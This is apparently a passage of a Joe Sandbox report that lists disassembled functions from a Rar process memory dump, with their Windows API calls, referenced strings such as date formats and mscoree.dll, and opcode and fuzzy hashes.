Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 08b93c5d4ab05e9d0938e27973b0ef3523996c6232c4b5b422b475b2ffd9b82f
Instruction ID: 9ea5c0a8badda6d06eeff997961b33bdb40d66db09e4b46502baa11efec2eb42
Opcode Fuzzy Hash: 08b93c5d4ab05e9d0938e27973b0ef3523996c6232c4b5b422b475b2ffd9b82f
Instruction Fuzzy Hash: 40315A62B206519EFB00CFB4E8901AC3775FF08759B54503AEE1EA3A98EF38D595C710

Function 00007FF6F6810688 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6F68106F8

Part of subcall function 00007FF6F680FBB0: abort.LIBCMT ref: 00007FF6F680FBC3

_CallSETranslator.LIBVCRUNTIME ref: 00007FF6F6810743
abort.LIBCMT ref: 00007FF6F6810971

Strings

MOC, xrefs: 00007FF6F681070C
RCC, xrefs: 00007FF6F6810714

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: db137bb9d8213517e5e08802d66b115ad2c3906ba7f65893b27bbce62f93261d
Instruction ID: 9a297dba8771bb9f86ff349a16d6f07aeabd9ad90c540fd26bbab34af77c8b29
Opcode Fuzzy Hash: db137bb9d8213517e5e08802d66b115ad2c3906ba7f65893b27bbce62f93261d
Instruction Fuzzy Hash: 1491E173A187858AE710CF65E8902AD7BB4FB04788F10412AEEAD87795EF3DD195CB40

Function 00007FF6F680F928 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6F680F953
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6F680F9E8
RtlUnwindEx.KERNEL32 ref: 00007FF6F680FA37

Strings

csm, xrefs: 00007FF6F680F9CE
f, xrefs: 00007FF6F680F966

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a8b1e6e9b00daf60af20175d011a1f1a5f26719d016dd7e39ae1798fa5d51609
Instruction ID: ad911b81fbc4f5ade350840b29bf9e9f07b4aaf0690de46fc7447fa906078809
Opcode Fuzzy Hash: a8b1e6e9b00daf60af20175d011a1f1a5f26719d016dd7e39ae1798fa5d51609
Instruction Fuzzy Hash: 7451D632A2E202A6DB14CF15D440A293799FB44B88F20D538DD7A977C8FF7AE9418710

Function 00007FF6F67D0328 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32(?,00007FF6F67D04DA), ref: 00007FF6F67D0391
GetFileSecurityW.ADVAPI32 ref: 00007FF6F67D03D1
GetSecurityDescriptorLength.ADVAPI32 ref: 00007FF6F67D0421

Strings

ACL, xrefs: 00007FF6F67D0450
, xrefs: 00007FF6F67D03FA

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Security$File$DescriptorLength
String ID: $ACL
API String ID: 2361174398-1852320022
Opcode ID: 0e532e15e7396d2f884127782b614c7b70fc3ec65ba95e4cd8a628b746796e23
Instruction ID: 7b7f831d7b41cd2e1034a979361f641d422560717d772d426c050e82f1200e28
Opcode Fuzzy Hash: 0e532e15e7396d2f884127782b614c7b70fc3ec65ba95e4cd8a628b746796e23
Instruction Fuzzy Hash: 7C317571718A8192E720DB11F4616E9636DFB94784F800035EAAD93BD5FF3DE649CB10

Function 00007FF6F67FEA7C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F67FE8B8: FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6F67FE920
Part of subcall function 00007FF6F67FE8B8: FileTimeToSystemTime.KERNEL32 ref: 00007FF6F67FE999

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67FEAEE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67FEB18

Strings

%u-%02u-%02u %02u:%02u:%02u,%09u, xrefs: 00007FF6F67FEAC0
????-??-?? ??:??, xrefs: 00007FF6F67FEB1F
%u-%02u-%02u %02u:%02u, xrefs: 00007FF6F67FEAF8

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Time$File$swprintf$LocalSystem
String ID: %u-%02u-%02u %02u:%02u$%u-%02u-%02u %02u:%02u:%02u,%09u$????-??-?? ??:??
API String ID: 1364621626-1794493780
Opcode ID: b10aa06212de94b56986d9b2098f8bf909515246590298adaa6f48711c40f676
Instruction ID: 3b536e49ce36ed777720e0da89bfee8c5d378eef35affacd1835394d4e2655e9
Opcode Fuzzy Hash: b10aa06212de94b56986d9b2098f8bf909515246590298adaa6f48711c40f676
Instruction Fuzzy Hash: 772126B6A182418EE750CF69E480A9D77F4F748798F544036EE69D3B88EF39E8408F50

Function 00007FF6F6815C74 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6F6815C94
GetProcAddress.KERNEL32 ref: 00007FF6F6815CAA
FreeLibrary.KERNEL32 ref: 00007FF6F6815CCF

Strings

CorExitProcess, xrefs: 00007FF6F6815CA3
mscoree.dll, xrefs: 00007FF6F6815C8B

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f1f6f65e536e6929e31197e0967473687e497c009262a367b1eea575d6170f70
Instruction ID: af5f93a868becfb17e80a9f48680999cabb3ba02e7bb5737c28aa89a6e93767e
Opcode Fuzzy Hash: f1f6f65e536e6929e31197e0967473687e497c009262a367b1eea575d6170f70
Instruction Fuzzy Hash: 8EF06261A39B4292EF548F11F4A42796368EF88790F48103DE93F867A4EE3ED484C720

Function 00007FF6F681F9D4 Relevance: 7.8, APIs: 5, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 654ea020367e1bd80e5908c0714be624a2a084f1b85e4d61c7f07a620f27c740
Instruction ID: dd2bafd6b3251a454c332b6b53983a5e48c487703d1ca0a32f1750fe8382f6f3
Opcode Fuzzy Hash: 654ea020367e1bd80e5908c0714be624a2a084f1b85e4d61c7f07a620f27c740
Instruction Fuzzy Hash: ACA10362B2878246FB208F6090103B967D9EF44BA8F584639DA7D977C5FF7EE4448360

Function 00007FF6F681AE3C Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F681AE81

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 70744c9dad0d8384ef8af926b207a6f142234deb2bde698439d2ea660800449c
Instruction ID: c30165fbc95170f3afb1bdfd4036447749a22eb2a39cbef99246b1c0a37d178c
Opcode Fuzzy Hash: 70744c9dad0d8384ef8af926b207a6f142234deb2bde698439d2ea660800449c
Instruction Fuzzy Hash: 6181BE62E3860285F7209B65D8406BD27A8BB45B98F40413EDD3E936D5FF3EE541C320

Function 00007FF6F67CFBD0 Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

BackupRead.KERNEL32 ref: 00007FF6F67CFC57
BackupRead.KERNEL32 ref: 00007FF6F67CFCA5
BackupSeek.KERNEL32 ref: 00007FF6F67CFCFD
BackupRead.KERNEL32 ref: 00007FF6F67CFD73
BackupSeek.KERNEL32 ref: 00007FF6F67CFDAB

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Backup$Read$Seek
String ID:
API String ID: 3093234742-0
Opcode ID: 424bc7acbec6e32d06b11ccc0a444a400b6eb2c00edd47e33bc748de49003963
Instruction ID: a031287b44ac694b0cae2198f3c563a943308ed4845cc3e71619754ba9ed9661
Opcode Fuzzy Hash: 424bc7acbec6e32d06b11ccc0a444a400b6eb2c00edd47e33bc748de49003963
Instruction Fuzzy Hash: 1851863261878196E730CF25E4505AAB7A8FB89794F100235EEAD83BD8EF3DD545CB10

Function 00007FF6F681A7B0 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF6F681AFE3), ref: 00007FF6F681A80D
WideCharToMultiByte.KERNEL32 ref: 00007FF6F681A8E9
WriteFile.KERNEL32 ref: 00007FF6F681A90F
WriteFile.KERNEL32 ref: 00007FF6F681A94E
GetLastError.KERNEL32 ref: 00007FF6F681A986

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 2e0c5b48324e8c51d236910b41a298f4e5a4507841040804310b2403b31a848b
Instruction ID: 46442261830a8580527240d890e40295e59367f13c4c83e100a061c3055a5856
Opcode Fuzzy Hash: 2e0c5b48324e8c51d236910b41a298f4e5a4507841040804310b2403b31a848b
Instruction Fuzzy Hash: BF51D372A2465186E710CB65E4543AC7778FB44798F04813ACE7E97698EF3AD141C720

Function 00007FF6F680DC40 Relevance: 7.6, APIs: 5, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6F67D91F0), ref: 00007FF6F680DCC7
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6F67D91F0), ref: 00007FF6F680DD49
SysAllocString.OLEAUT32 ref: 00007FF6F680DD56

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: 3466ab693db6d2fb6f00a8f97f0cf262415cdc145f411f1e6ea07ffeaa5512b3
Instruction ID: 6a2561e1e4aed67c1e8a3b33adefe485da0352bcb6b2dd91b83f4d7ce91d3c13
Opcode Fuzzy Hash: 3466ab693db6d2fb6f00a8f97f0cf262415cdc145f411f1e6ea07ffeaa5512b3
Instruction Fuzzy Hash: 2341B322A2A6459AEB149F2194103B92298EF44BA4F145B3CED7EC77D5EF7ED0418720

Function 00007FF6F67C97B0 Relevance: 7.6, APIs: 5, Instructions: 118fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6F67C983D
CharToOemA.USER32 ref: 00007FF6F67C98C8
WriteFile.KERNEL32 ref: 00007FF6F67C98EB
GetStdHandle.KERNEL32 ref: 00007FF6F67C9932
WriteConsoleW.KERNEL32 ref: 00007FF6F67C9956

Part of subcall function 00007FF6F68006F0: WideCharToMultiByte.KERNEL32 ref: 00007FF6F6800721

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CharHandleWrite$ByteConsoleFileMultiWide
String ID:
API String ID: 643171463-0
Opcode ID: 4d90ed2dc76699304d4296544f02f30d08aa049686fed1fce521617e59c6ffed
Instruction ID: 29ee2826f7789d916580f559aed082b11fdcf9f454dd0f79c5573fe4a3d6a7c0
Opcode Fuzzy Hash: 4d90ed2dc76699304d4296544f02f30d08aa049686fed1fce521617e59c6ffed
Instruction Fuzzy Hash: A4411761E1C64242FB609B20E8212B96299BF45BF0F101339EE7E977D6FE3EE4448310

Function 00007FF6F6819CC4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6F6819DE6

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 1d59fe997e21cd5696b47e0f13c29fe3a1842d6a432ae0cf4a2575cc21722d6f
Instruction ID: 57726fc0b6ca03504dc73ed6fcd2e32996d243eb9b215d707f95b3c0204a7f2f
Opcode Fuzzy Hash: 1d59fe997e21cd5696b47e0f13c29fe3a1842d6a432ae0cf4a2575cc21722d6f
Instruction Fuzzy Hash: 7E41E062B2A68282FF158B02A8145756399BF15BE4F09453CEE3DCB7C5FE3EE4408360

Function 00007FF6F6820FA0 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6F6820FC7
_set_statfp.LIBCMT ref: 00007FF6F6820FE2
_set_statfp.LIBCMT ref: 00007FF6F6820FFE
_set_statfp.LIBCMT ref: 00007FF6F682103A

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
